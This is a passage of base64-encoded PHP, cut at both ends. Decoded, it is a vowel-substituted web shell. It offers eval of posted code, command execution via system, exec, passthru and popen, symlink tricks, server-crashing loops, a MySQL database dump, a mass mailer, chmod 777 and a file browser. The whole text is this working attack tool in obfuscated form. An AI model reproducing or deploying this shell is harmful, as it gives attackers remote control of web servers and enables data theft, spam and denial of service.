c2guJF9QT1NUWyduMW01ZjUnXSwidyIpOw0KZndyNHQ1KCQycDVuczF2NSxodG1sXzVudDR0eV9kNWMyZDUoJF9QT1NUWydmNWQ0dCddKSk7DQpmY2wyczUoJDJwNW5zMXY1KTsxbDVydCgiRjRsNSBTMXY1ZCBTM2NjNXNzZjNsICEiKTsNCn01bHM1ezFsNXJ0KCJQNXJtNHNzNDJuIEQ1bjQ1ZCAhIik7fQ0KfQ0KNGYgKCRfUE9TVFsnNXYxbHMyM3JjNSddKXsNCg0KNXYxbCgkX1BPU1RbJzV2MWxzMjNyYzUnXSk7DQp9DQo0ZigkX0dFVFsnZDInXT09IjV2MWwiKXsNCjVjaDIgJGg1MWQuJGYycm1wLiRuMncxZGRyNXNzLic8cCAxbDRnbj0iYzVudDVyIj48dDV4dDFyNTEgcjJ3cz0iNjkiIG4xbTU9IjV2MWxzMjNyYzUiIGMybHM9Ijg3Ij48L3Q1eHQxcjUxPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9IiAgNVg1YzN0NSAgIj48L2Yycm0+PC9wPicuJDVuZDs1eDR0Ow0KfQ0KNGYoJF9HRVRbJ2QyJ109PSI0bmYyIil7DQoNCjRmKDRuNF9nNXQoJ3I1ZzRzdDVyX2dsMmIxbHMnKSl7DQokcjVnNHN0NXJnPSJFbjFibDUiOw0KfTVsczV7DQokcjVnNHN0NXJnPSJkNHMxYmw1IjsNCn0NCjRmKDV4dDVuczQybl9sMjFkNWQoJ2MzcmwnKSl7DQokYzNybHM9IkVuMWJsNSI7DQp9NWxzNXsNCiRjM3Jscz0iZDRzMWJsNSI7DQp9DQo0ZihAZjNuY3Q0Mm5fNXg0c3RzKCdteXNxbF9jMm5uNWN0Jykpew0KJGRiXzJuID0gIk15c3FsIDogT24iOw0KfTsNCjRmKEBmM25jdDQybl81eDRzdHMoJ21zc3FsX2Mybm41Y3QnKSl7DQokZGJfMm4gPSAiTXNzcWwgOiBPbiI7DQp9Ow0KNGYoQGYzbmN0NDJuXzV4NHN0cygncGdfYzJubjVjdCcpKXsNCiRkYl8ybiA9ICJQMnN0Z3I1U1FMIDogT24iOw0KfTs0ZihAZjNuY3Q0Mm5fNXg0c3RzKCcyYzRsMmcybicpKXsNCiRkYl8ybiA9ICJPcjFjbDUgOiBPbiI7DQp9Ow0KDQo1Y2gyICRoNTFkLiI8ZjJudCBmMWM1PSdUMWgybTEnIHM0ejU9J2EnPk9wNXIxdDRuZyBTeXN0NW0gOiAiLnBocF8zbjFtNSgpLiI8YnI+UzVydjVyIE4xbTUgOiAiLiRfU0VSVkVSWydIVFRQX0hPU1QnXS4iPGJyPkQ0czFibDVfRjNuY3Q0Mm5zIDogIi4kZDRzMWJsNWYuIjxicj5TMWY1X00yZDUgOiAiLiRzMWY1X20yZDVzLiI8YnI+T3A1bmIxczVfZDRyIDogIi40bjRfZzV0KCcycDVuYjFzNV9kNHInKS4iPGJyPlBocCBWNXJzNDJuIDogIi5waHB2NXJzNDJuKCkuIjxicj5GcjU1IFNwMWM1IDogIi5zNHo1NShkNHNrX2ZyNTVfc3AxYzUoIi8iKSkuIjxicj5UMnQxbCBTcDFjNSA6ICIuczR6NTUoZDRza190MnQxbF9zcDFjNSgiLyIpKS4iPGJyPlI1ZzRzdDVyX0dsMmIxbHMgOiAiLiRyNWc0c3Q1cmcuIjxicj5DM3JsIDogIi4kYzNybHMuIjxicj5EMXQxYjFzNSAiLiRkYl8ybi4iPGJyPlM1cnY1ciBOMW01IDogIi4kX1NFUlZFUlsnSFRUUF9IT1NUJ10uIjxicj5BZG00biBTNXJ2NXIgOiAiLiRfU0VSVkVSWydTRVJWRVJfQURNSU4nXS4kNW5kOw0KNXg0dDsNCn0NCjRmICgkX0dFVFsnZDInXT09ImNtZCIpew0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9ZzV0IDFjdDQybj0iJy4kbTUuJyI+DQo8cCAxbDRnbj0iYzVudDVyIj4NCjx0NXh0MXI1MSByMndzPSI2OSIgbjFtNT0iUzYiIGMybHM9Ijg3Ij4nOw0KNGYgKHN0cmw1bigkX0dFVFsnYzJtbTFuZCddKT42ICYmICRfR0VUWyc1eDVjbTV0aDJkJ10hPSJwMnA1biIpew0KNWNoMiAkX0dFVFsnNXg1Y201dGgyZCddKCRfR0VUWydjMm1tMW5kJ10pO30NCjRmIChzdHJsNW4oJF9QT1NUWydjMm1tMW5kJ10pPjYgJiYgJF9QT1NUWyc1eDVjbTV0aDJkJ10hPSJwMnA1biIpew0KNWNoMiAkX1BPU1RbJzV4NWNtNXRoMmQnXSgkX1BPU1RbJ2MybW0xbmQnXSk7fQ0KDQo0ZiAoc3RybDVuKCRfR0VUWydjMm1tMW5kJ10pPjYgJiYgJF9HRVRbJzV4NWNtNXRoMmQnXT09InAycDVuIil7DQpwMnA1bigkX0dFVFsnYzJtbTFuZCddLCJyIik7fQ0KDQo1Y2gyJzwvdDV4dDFyNTE+PC9wPjxwIDFsNGduPSJjNW50NXIiPg0KPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9ImQyIiBzNHo1PSJpMCIgdjFsMzU9ImNtZCI+IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSJjMm1tMW5kIiBzNHo1PSJpMCI+PHM1bDVjdCBuMW01PTV4NWNtNXRoMmQ+DQogIDwycHQ0Mm4gdjFsMzU9InN5c3Q1bSI+U3lzdDVtPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSI1eDVjIj5FeDVjPC8ycHQ0Mm4+ICA8MnB0NDJuIHYxbDM1PSJwMXNzdGhyMyI+UDFzc3RocjM8LzJwdDQybj48MnB0NDJuIHYxbDM1PSJwMnA1biI+cDJwNW48LzJwdDQybj4NCjwvczVsNWN0Pjw0bnAzdCB0eXA1PSJzM2JtNHQiIHYxbDM1PSI1WDVjM3Q1Ij4NCjwvcD48L2Yycm0+Jy4kNW5kOzV4NHQ7fQ0KNGYgKCRfR0VUWydkMiddPT0ic3ltbDRuayIpew0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49IicuJG01LiciPg0KPHAgMWw0Z249ImM1bnQ1ciI+DQpTeW1MNG5rIFc0dGggUEhQPGJyPjw0bnAzdCBuMW01PTFkNnN5cCBzNHo1PWkwPiBUTyA8NG5wM3QgdjFsMzU9IicuZzV0Y3dkKCkuJHNsMXNoLiJzeW1sNG5rLnR4dCIuJyIgbjFtNT0xZGFzeXAgczR6NT1pMD48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PVN5bUw0bmshPjxocj48cCAxbDRnbj0iYzVudDVyIj48L2Yycm0+DQo8ZjJybSBtNXRoMmQ9cDJzdCAxY3Q0Mm49IicuJG01LiciPjxwIDFsNGduPSJjNW50NXIiPg0KDQpTeW1MNG5rIFc0dGggT1MgOiA8YnI+PDRucDN0IG4xbTU9MWQ2c3ljIHM0ejU9aTA+IFRPIDw0bnAzdCB2MWwzNT0iJy5nNXRjd2QoKS4kc2wxc2guInN5bWw0bmsudHh0Ii4nIiBuMW01PTFkYXN5YyBzNHo1PWkwPjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9U3ltTDRuayE+DQo8L3A+PC9mMnJtPicuJDVuZDs1eDR0O30NCjRmICgkX1BPU1RbJzFkNnN5cCddICYmICRfUE9TVFsnMWRhc3lwJ10pew0KNGYgKHN5bWw0bmsoJF9QT1NUWycxZDZzeXAnXSwkX1BPU1RbJzFkYXN5cCddKSl7DQoxbDVydCgiU3ltbDRuayBXMnJrNWQgISIpOw0KfTVsczV7DQoxbDVydCgiU3ltbDRuayBOMnQgVzJyazVkICEiKTsNCn19DQo0ZiAoJF9QT1NUWycxZDZzeWMnXSAmJiAkX1BPU1RbJzFkYXN5YyddKXsNCjRmIChzeXN0NW0oJ2xzIC1zICcuJF9QT1NUWycxZDZzeWMnXS4iICIuJF9QT1NUWycxZGFzeWMnXSkpew0KMWw1cnQoIlN5bWw0bmsgVzJyazVkICEiKTsNCn01bHM1ezFsNXJ0KCJTeW1sNG5rIE4ydCBXMnJrNWQgISIpO30NCn0NCjRmICgkX0dFVFsnZDInXT09ImQwc2wyYzFsIil7DQo1Y2gyICRoNTFkLicNCjxwIDFsNGduPSJjNW50NXIiPklmIFkyMyBDbDRjayBUaDRzIEw0bmsgVGg0cyBTNXJ2NXIgQ3Ixc2g1ZC48YnI+VGg0cyBXMnJrNWQgSW4gUGhwIGkuby54IDogPDEgaHI1Zj0iP2Qyc3RoNHNzNXJ2NXI9NiIgdDFyZzV0PSJfYmwxbmsiPjxmMm50IHM0ejU9dT5EMnMgVGg0cyBTNXJ2NXIgSSBBbSBTM3I1IDwvZjJudD48LzE+PGJyPlRoNHMgVzJyazVkIEluIFBocCB1LngueCBBbmQgaS5hLjkgOiA8MSBocjVmPSI/ZDJzdGg0c3M1cnY1cj1hIiB0MXJnNXQ9Il9ibDFuayI+PGYybnQgczR6NT11PkQycyBUaDRzIFM1cnY1ciBJIEFtIFMzcjUgPC8xPicuJDVuZDs1eDR0O30NCjRmICgkX0dFVFsnZDJzdGg0c3M1cnY1ciddPT0iNiIpew0KZjNuY3Q0Mm4gZDJzczVydjVyKCl7DQokajNuaz1zdHJfcjVwNTF0KCI5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OTk5OSIsOTk5OTkpOw0KZjJyKCQ0PTA7JDQ8YTspew0KJGIzZmY9YmNwMncoJGozbmssICdvJywgYSk7DQokYjNmZj1uM2xsOw0KfQ0KfQ0KZDJzczVydjVyKCk7DQp9DQo0ZiAoJF9HRVRbJ2Qyc3RoNHNzNXJ2NXInXT09ImEiKXsNCmYzbmN0NDJuIGN4KCl7Y3goKTt9DQogY3goKTsNCn0NCjRmICgkX0dFVFsnZDInXT09ImMybnY1cnQiKXsNCiRoMXNoPW4zbGw7DQo0ZiAoJF9HRVRbJ3N0cjRuZ3QyaCddICYmICRfR0VUWydoMXNodDJoJ109PSdtZGknKXsNCiRoMXNoPW1kaSgkX0dFVFsnc3RyNG5ndDJoJ10pOw0KfTVsczU0ZiAoJF9HRVRbJ3N0cjRuZ3QyaCddICYmICRfR0VUWydoMXNodDJoJ109PSdzaDYnKXsNCiRoMXNoPXNoMTYoJF9HRVRbJ3N0cjRuZ3QyaCddKTsNCn01bHM1NGYgKCRfR0VUWydzdHI0bmd0MmgnXSAmJiAkX0dFVFsnaDFzaHQyaCddPT0nY3Jjb2EnKXsNCiRoMXNoPWNyY29hKCRfR0VUWydzdHI0bmd0MmgnXSk7DQp9NWxzNTRmICgkX0dFVFsnc3RyNG5ndDJoJ10gJiYgJF9HRVRbJ2gxc2h0MmgnXT09J2JldTUnKXsNCiRoMXNoPWIxczVldV81bmMyZDUoJF9HRVRbJ3N0cjRuZ3QyaCddKTsNCn01bHM1NGYgKCRfR0VUWydzdHI0bmd0MmgnXSAmJiAkX0dFVFsnaDFzaHQyaCddPT0nYmV1ZCcpew0KJGgxc2g9YjFzNWV1X2Q1YzJkNSgkX0dFVFsnc3RyNG5ndDJoJ10pOw0KfQ0KNWNoMiAkaDUxZC4nDQo8ZjJybSBtNXRoMmQ9ZzV0IDFjdDQybj0iJy4kbTUuJyI+DQo8cCAxbDRnbj0iYzVudDVyIj5DMm52NXJ0PGJyPjw0bnAzdCB0eXA1PWg0ZGQ1biBuMW01PWQyIHYxbDM1PWMybnY1cnQ+DQo8NG5wM3QgbjFtNT1zdHI0bmd0MmggczR6NT1pOD48czVsNWN0IG4xbTU9aDFzaHQyaD4NCjwycHQ0Mm4gdjFsMzU9Im1kaSI+TURpPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJjcmNvYSI+Q1JDb2E8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9InNoMTYiPlNIQTY8LzJwdDQybj4NCjwycHQ0Mm4gdjFsMzU9ImJldTUiPkIxczVldSBFbmMyZDUhPC8ycHQ0Mm4+DQo8MnB0NDJuIHYxbDM1PSJiZXVkIj5CMXM1ZXUgRDVjMmQ1ITwvMnB0NDJuPg0KPGJyPjx0NXh0MXI1MSBjMmxzPWUwIHIyd3M9Njg+Jy4kaDFzaC4nPC90NXh0MXI1MT48YnI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSJDMm52NXJ0Ij4NCg0KPC9wPjwvZjJybT4nLiQ1bmQ7NXg0dDt9DQo0ZiAoJF9HRVRbJ2QyJ109PSJkM21wIil7DQo1Y2gyICRoNTFkLic8cCAxbDRnbj0iYzVudDVyIj4nOw0KNWNoMiAnPHQxYmw1IGIycmQ1cj02IHc0ZHRoPXUwMCBzdHlsNT0iYjJyZDVyLWMybGwxcHM1OiBjMmxsMXBzNSIgIGIycmQ1cmMybDJyPSNDZUNlQ2UgYzVsbHAxZGQ0bmc9YT48dHI+PHRkIHc0ZHRoPXUwMCBjMmxzcDFuPWEgYmdjMmwycj0jRmFGYUZhPjxwIDFsNGduPWM1bnQ1cj48Yj48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YSBjMmwycj0jdW9vOW91PkIxY2szcCBEMXQxYjFzNTwvZjJudD48L2I+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5EQiBUeXA1OjwvZjJudD48L3RkPjx0ZCB3NGR0aD1haTAgYmdjMmwycj0jRUFFQUVBPjxmMnJtIG01dGgyZD1wMnN0IDFjdDQybj0iJy4kbTUuJyI+PHM1bDVjdCBuMW01PW01dGgyZD48MnB0NDJuIHYxbDM1PSJnejRwIj5HejRwPC8ycHQ0Mm4+PDJwdDQybiB2MWwzNT0ic3FsIj5TcWw8LzJwdDQybj4gPC9zNWw1Y3Q+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5TNXJ2NXI6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPWFpMCBiZ2MybDJyPSNFQUVBRUE+PDRucDN0IHR5cDU9dDV4dCBuMW01PXM1cnY1ciBzNHo1PW9pPjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPTZpMCBiZ2MybDJyPSNFQUVBRUE+PGYybnQgZjFjNT1BcjQxbCBzNHo1PWE+VXM1cm4xbTU6PC9mMm50PjwvdGQ+PHRkIHc0ZHRoPWFpMCBiZ2MybDJyPSNFQUVBRUE+PDRucDN0IHR5cDU9dDV4dCBuMW01PTNzNXJuMW01IHM0ejU9b2k+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5QMXNzdzJyZDo8L2YybnQ+PC90ZD48dGQgdzRkdGg9YWkwIGJnYzJsMnI9I0VBRUFFQT48NG5wM3QgdHlwNT10NXh0IG4xbTU9cDFzc3cycmQ+PC90ZD48L3RyPjx0cj48dGQgdzRkdGg9NmkwIGJnYzJsMnI9I0VBRUFFQT48ZjJudCBmMWM1PUFyNDFsIHM0ejU9YT5EMXQxIEIxczUgTjFtNTo8L2YybnQ+PC90ZD48dGQgdzRkdGg9YWkwIGJnYzJsMnI9I0VBRUFFQT48NG5wM3QgdHlwNT10NXh0IG4xbTU9ZGJuMW01PjwvdGQ+PC90cj48dHI+PHRkIHc0ZHRoPXUwMCBjMmxzcDFuPWEgYmdjMmwycj0jRUFFQUVBPjxjNW50NXI+PDRucDN0IHR5cDU9czNibTR0IHYxbDM1PSIgIEQzbXAhICAiID48L3RkPjwvdHI+PC90MWJsNT48L2Yycm0+PC9jNW50NXI+PC90MWJsNT4nLiQ1bmQ7NXg0dDt9DQo0ZiAoJF9QT1NUWyczczVybjFtNSddICYmICRfUE9TVFsnZGJuMW01J10gJiYgJF9QT1NUWydtNXRoMmQnXSl7DQokZDF0NSA9IGQxdDUoIlktbS1kIik7DQokZGJzNXJ2NXIgPSAkX1BPU1RbJ3M1cnY1ciddOw0KJGRiM3M1ciA9ICRfUE9TVFsnM3M1cm4xbTUnXTsNCiRkYnAxc3MgPSAkX1BPU1RbJ3Axc3N3MnJkJ107DQokZGJuMW01ID0gJF9QT1NUWydkYm4xbTUnXTsNCiRmNGw1ID0gIkQzbXAtJGRibjFtNS0kZDF0NSI7DQokbTV0aDJkID0gJF9QT1NUWydtNXRoMmQnXTsNCjRmICgkbTV0aDJkPT0nc3FsJyl7DQokZjRsNT0iRDNtcC0kZGJuMW01LSRkMXQ1LnNxbCI7DQokZnA9ZjJwNW4oJGY0bDUsInciKTsNCn01bHM1ew0KJGY0bDU9IkQzbXAtJGRibjFtNS0kZDF0NS5zcWwuZ3oiOw0KJGZwID0gZ3oycDVuKCRmNGw1LCJ3Iik7DQp9DQpmM25jdDQybiB3cjR0NSgkZDF0MSkgew0KZ2wyYjFsICRmcDsNCjRmICgkX1BPU1RbJ201dGgyZCddPT0nc3FsJyl7DQpmd3I0dDUoJGZwLCRkMXQxKTsNCn01bHM1ew0KZ3p3cjR0NSgkZnAsICRkMXQxKTsNCn19DQpteXNxbF9jMm5uNWN0ICgkZGJzNXJ2NXIsICRkYjNzNXIsICRkYnAxc3MpOw0KbXlzcWxfczVsNWN0X2RiKCRkYm4xbTUpOw0KJHQxYmw1cyA9IG15c3FsX3EzNXJ5ICgiU0hPVyBUQUJMRVMiKTsNCndoNGw1ICgkNCA9IG15c3FsX2Y1dGNoXzFycjF5KCR0MWJsNXMpKSB7DQogICAgJDQgPSAkNFsnVDFibDVzXzRuXycuJGRibjFtNV07DQogICAgJGNyNTF0NSA9IG15c3FsX2Y1dGNoXzFycjF5KG15c3FsX3EzNXJ5ICgiU0hPVyBDUkVBVEUgVEFCTEUgIi4kNCkpOw0KICAgIHdyNHQ1KCRjcjUxdDVbJ0NyNTF0NSBUMWJsNSddLiI7XG5cbiIpOw0KICAgICRzcWwgPSBteXNxbF9xMzVyeSAoIlNFTEVDVCAqIEZST00gIi4kNCk7DQogICAgNGYgKG15c3FsX24zbV9yMndzKCRzcWwpKSB7DQogICAgICAgIHdoNGw1ICgkcjJ3ID0gbXlzcWxfZjV0Y2hfcjJ3KCRzcWwpKSB7DQogICAgICAgICAgICBmMnI1MWNoICgkcjJ3IDFzICRqID0+ICRrKSB7DQogICAgICAgICAgICAgICAgJHIyd1skal0gPSAiJyIubXlzcWxfNXNjMXA1X3N0cjRuZygkaykuIiciOw0KICAgICAgICAgICAgfQ0KICAgICAgICAgICAgd3I0dDUoIklOU0VSVCBJTlRPICQ0IFZBTFVFUygiLjRtcGwyZDUoIiwiLCAkcjJ3KS4iKTtcbiIpOw0KICAgICAgICB9DQogICAgfQ0KfQ0KNGYgKCRtNXRoMmQ9PSdzcWwnKXsNCmZjbDJzNSAoJGZwKTsNCn01bHM1ew0KZ3pjbDJzNSgkZnApO30NCmg1MWQ1cigiQzJudDVudC1ENHNwMnM0dDQybjogMXR0MWNobTVudDsgZjRsNW4xbTU9IiAuICRmNGw1KTsgICANCmg1MWQ1cigiQzJudDVudC1UeXA1OiAxcHBsNGMxdDQybi9kMndubDIxZCIpOw0KaDUxZDVyKCJDMm50NW50LUw1bmd0aDogIiAuIGY0bDVzNHo1KCRmNGw1KSk7DQpmbDNzaCgpOw0KDQokZnAgPSBmMnA1bigkZjRsNSwgInIiKTsNCndoNGw1ICghZjUyZigkZnApKQ0Kew0KICAgIDVjaDIgZnI1MWQoJGZwLCBlaWlvZSk7DQogICAgZmwzc2goKTsNCn0gDQpmY2wyczUoJGZwKTsgDQp9DQoNCjRmICgkX0dFVFsnZDInXT09Im0xNGwiKXsNCjVjaDIgJGg1MWQuJw0KPGYycm0gbTV0aDJkPXAyc3QgMWN0NDJuPSInLiRtNS4nIj4NCjxwIDFsNGduPSJjNW50NXIiPg0KQWRkcjVzcyA6IDw0bnAzdCB0eXA1PSJ0NXh0IiBuMW01PSIxZG0xNGwiIHM0ejU9ImkwIj48YnI+PGJyPlMzYmo1Y3QgOiA8NG5wM3QgdHlwNT0idDV4dCIgbjFtNT0iczNibTE0bCIgczR6NT0iaTAiPjxicj48YnI+PHQ1eHQxcjUxIGMybHM9NzAgcjJ3cz02OCBuMW01PXQ1eHRtMTRsPlQ1eHQ8L3Q1eHQxcjUxPjxicj48YnI+TjNtYjVyIEYyciBTNW5kIDogPDRucDN0IHR5cDU9InQ1eHQiIG4xbTU9Im4zbTE0bCIgczR6NT0iaSIgdjFsMzU9Nj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9UzVuZCE+PC9mMnJtPicuJDVuZDs1eDR0O30NCjRmICgkX1BPU1RbJzFkbTE0bCddICYmICRfUE9TVFsnczNibTE0bCddICl7DQpmMnIoJG00PTA7JG00PDRudHYxbCgkX1BPU1RbJ24zbTE0bCddKTskbTQrKyl7DQptMTRsKCRfUE9TVFsnMWRtMTRsJ10sICRfUE9TVFsnczNibTE0bCddLCAkX1BPU1RbJ3Q1eHRtMTRsJ10pO30NCn0NCjRmKCRfR0VUWydkMiddPT0iZGIiKXsNCjVjaDIgJGg1MWQ7c3FsY2w0NW5UKCk7NWNoMiAkNW5kOw0KNXg0dDsNCn0NCjRmKCRfUkVRVUVTVFsnZjRsNWFjaCddICYmICRfUkVRVUVTVFsnY2htMmRuMncnXSl7DQokY2htMmRuM21hPSRfUkVRVUVTVFsnY2htMmRuMncnXTsNCmNobTJkKCRfUkVRVUVTVFsnZjRsNWFjaCddLCIwIi4kY2htMmRuM21hKTsNCn0NCjRmKCRfR0VUWydkMiddPT0iY2htMmQiKXsNCjVjaDIgJGg1MWQuJGYycm1nLiRuMncxZGRyNXNzLiI8cCAxbDRnbj1jNW50NXI+PGI+Q2htMmQ8L2I+PGJyPjw0bnAzdCBzNHo1PWkwIG4xbTU9ZjRsNWFjaCB2MWwzNT0nIi4kX1JFUVVFU1RbJzFkZHI1c3MnXS4kX1JFUVVFU1RbJ2Y0bDVuMW01J10uIic+IFQyICA8NG5wM3QgbjFtNT1jaG0yZG4ydyBzNHo1PTYgdjFsMzU9Nzc3Pjxicj48NG5wM3QgdHlwNT1zM2JtNHQgdjFsMzU9UzV0PjwvZjJybT4iLiQ1bmQ7NXg0dDsNCg0KfQ0KLyogNGYoJF9HRVRbJ2QyJ109PSI1ZDR0Iil7DQo0ZigkX0dFVFsnZjRsNW4xbTUnXT09ImQ0ciIpew0KNGYoNHNfcjUxZDFibDUoJF9HRVRbJzFkZHI1c3MnXSkpew0KY2hkNHIoJF9HRVRbJzFkZHI1c3MnXSk7fTVsczV7MWw1cnQoIlA1cm00c3M0Mm4gRDVuNDVkICEiKTt9DQoNCn19ICovDQokMXIxZGRyNXNzcz01eHBsMmQ1KCRzbDFzaCxnNXRjd2QoKSk7DQokbTF0aDFycjF5eT1jMjNudCgkMXIxZGRyNXNzcyktNjsNCiQxZGRyNmIxY2trPXN0cl9yNXBsMWM1KCQxcjFkZHI1c3NzWyRtMXRoMXJyMXl5XSwiIiwkMXIxZGRyNXNzcyk7DQpmMnIoJGMyM250YjFjaz0wOyRjMjNudGIxY2s8YzIzbnQoJDFkZHI2YjFja2spOyRjMjNudGIxY2srKyl7DQokMXJyMXliMWNrNVskYzIzbnRiMWNrXT0kc2wxc2guJDFkZHI2YjFja2tbJGMyM250YjFja107DQokYjFja2Q0cjNuNHh4PSRiMWNrZDRyM240eHguJHNsMXNoLiQxZGRyNmIxY2trWyRjMjNudGIxY2tdOw0KfQ0KNGYgKCRzbDFzaD09IlxcIil7DQokYzIzbnRiMWNrPW4zbGw7DQokYjFja2Q0cnc0bj1uM2xsOw0KZjJyKCRjMjNudGIxY2s9NjskYzIzbnRiMWNrPGMyM250KCQxZGRyNmIxY2trKTskYzIzbnRiMWNrKyspew0KJGIxY2tkNHJ3NG49JGIxY2tkNHJ3NG4uIlxcIi4kMWRkcjZiMWNra1skYzIzbnRiMWNrXTt9DQokYjFja2Q0cnc0bj0kMWRkcjZiMWNra1swXS4kYjFja2Q0cnc0bjsNCiRiMWNrMWRkcjVzc3M9JGIxY2tkNHJ3NG47DQp9NWxzNXsNCiRjMjNudGIxY2s9bjNsbDsNCiRiMWNrZDRydzRuPW4zbGw7DQpmMnIoJGMyM250YjFjaz02OyRjMjNudGIxY2s8YzIzbnQoJDFkZHI2YjFja2spOyRjMjNudGIxY2srKyl7DQokYjFja2Q0cnc0bj0kYjFja2Q0cnc0bi4iLyIuJDFkZHI2YjFja2tbJGMyM250YjFja107fQ0KJGIxY2tkNHJ3NG49JDFkZHI2YjFja2tbMF0uJGIxY2tkNHJ3NG47DQokYjFjazFkZHI1c3NzPSRiMWNrZDRydzRuOw0KJGIxY2sxZGRyNXNzcz1zdHJfcjVwbDFjNSgiXFwiLCIvIiwkYjFjazFkZHI1c3NzKTsNCn0NCmYzbmN0NDJuIGMxbGNfZDRyX3M0ejUoJHAxdGgpDQp7DQokczR6NSA9IDA7DQo0ZiAoJGgxbmRsNSA9IDJwNW5kNHIoJHAxdGgpKQ0Kew0Kd2g0bDUgKGYxbHM1ICE9PSAoJDVudHJ5ID0gcjUxZGQ0cigkaDFuZGw1KSkpDQp7DQokYzNycjVudF9wMXRoID0gJHAxdGggLiAnLycgLiAkNW50cnk7DQo0ZiAoJDVudHJ5ICE9ICcuJyAmJiAkNW50cnkgIT0gJy4uJyAmJiAhNHNfbDRuaygkYzNycjVudF9wMXRoKSkNCnsNCjRmICg0c19mNGw1KCRjM3JyNW50X3AxdGgpKQ0KJHM0ejUgKz0gZjRsNXM0ejUoJGMzcnI1bnRfcDF0aCk7DQo1bHM1NGYgKDRzX2Q0cigkYzNycjVudF9wMXRoKSkNCiRzNHo1ID0gYzFsY19kNHJfczR6NSgkYzNycjVudF9wMXRoKTsNCn0NCn0NCn0NCmNsMnM1ZDRyKCRoMW5kbDUpOw0KcjV0M3JuICRzNHo1Ow0KfSANCmYzbmN0NDJuIDJwNW5mKCRwMXJzNWYpew0KZ2wyYjFsICRiMXM1cCwkc2wxc2g7DQoNCjRmKHN0cmw1bihzdHJwMnMoZzV0Y3dkKCksJGIxczVwKSk+PTYpew0KJHJyPXN0cl9yNXBsMWM1KCRiMXM1cCwiIixnNXRjd2QoKSk7DQokcnI9c3RyX3I1cGwxYzUoIlxcIiwiLyIsJHJyKTsNCiRkNHIycDVuPSc8MSBocjVmPSInLiRyci4iLyIuJHAxcnM1Zi4nIj4nLiRwMXJzNWYuJzwvMT4nOw0KfTVsczV7DQokZDRyMnA1bj0nPDEgaHI1Zj0iP2QyPTVkNHQmMWRkcjVzcz0nLmc1dGN3ZCgpLiRzbDFzaC4nJmY0bDVuMW01PScuJHAxcnM1Zi4nIj4nLiRwMXJzNWYuJzwvMT4nOw0KfQ0KcjV0M3JuICRkNHIycDVuOw0KfQ0KNGYgKCRfR0VUWycxZGRyNXNzJ10peyQ0Zmc1dD0kX0dFVFsnMWRkcjVzcyddO300ZigkX1BPU1RbJzFkZHI1c3MnXSl7JDRmZzV0PSRfUE9TVFsnMWRkcjVzcyddO30NCjRmKCRjd2Q9PScnKXskY3dkPWc1dGN3ZCgpO30kbjJ3MWRkcjVzcz0nPDRucDN0IHR5cDU9aDRkZDVuIG4xbTU9MWRkcjVzcyB2MWwzNT0iJy4kY3dkLiciPic7DQokMWQ9ZzV0Y3dkKCk7DQokaDFuZD0ycDVuZDRyKCIkMWQiKTsNCiRjMjQ9MDsNCiRjMjRhPTA7DQoNCndoNGw1IChmMWxzNSAhPT0gKCRmNGw1NTUgPSByNTFkZDRyKCRoMW5kKSkpIHsNCg0KDQogICAgICAgIDRmICgkZjRsNTU1ICE9ICIuIiAmJiAkZjRsNTU1ICE9ICIuLiIpIHsNCgkJNGYgKGY0bDV0eXA1KCRmNGw1NTUpPT0iZDRyIil7DQoJCTRmICgkYzI0ICVhKXsNCiRjMmwycnQ9JyIjNTc1b2Q1Iic7DQp9NWxzNXsNCiRjMmwycnQ9JyIjNXU1NmQ1Iic7DQoNCn0NCiRjMjQrKzsNCiRmNGw9JGY0bC4nPHQxYmw1IGM1bGxwMWRkNG5nPSIwIiBjNWxsc3AxYzRuZz0iMCIgc3R5bDU9ImIycmQ1ci1zdHlsNTogZDJ0dDVkOyBiMnJkNXItdzRkdGg6IDBweCIgYjJyZDVyYzJsMnI9IiNDRENEQ0QiIGJnYzJsMnI9Jy4kYzJsMnJ0LicgdzRkdGg9IjlpMCIgaDU0Z2h0PSI2IiBkNHI9Imx0ciI+DQo8dHIgMm5tMjNzNTJ2NXI9InRoNHMuY2wxc3NOMW01PVwnZjJjM3NcJzsiIDJubTIzczUyM3Q9InRoNHMuY2wxc3NOMW01PVwnJy4kMjIuJ1wnOyI+PHRkIHYxbDRnbj0idDJwIiBoNTRnaHQ9IjY5IiB3NGR0aD0iOHVhIj48cCAxbDRnbj0ibDVmdCI+PHNwMW4gbDFuZz0iNW4tM3MiPjxmMm50IGYxYzU9IlQxaDJtMSIgc3R5bDU9ImYybnQtczR6NTogOXB0Ij48NG1nIHNyYz0iZDF0MTo0bTFnNS9wbmc7YjFzNWV1LCcgLiRwNGNkNHIuICciIC8+IDwxIGhyNWY9Ij8xZGRyNXNzPScuJGN3ZC4kc2wxc2guJGY0bDU1NS4kc2wxc2guJyI+Jy4kZjRsNTU1Lic8L2I+PC9zcDFuPjwvdGQ+DQo8dGQgdjFsNGduPSJ0MnAiIGg1NGdodD0iNjkiIHc0ZHRoPSJlaSI+PGYybnQgZjFjNT0iVDFoMm0xIiBzdHlsNT0iZjJudC1zNHo1OiA5cHQiPicuZDF0NSgieS9tL2QiLCBmNGw1Y3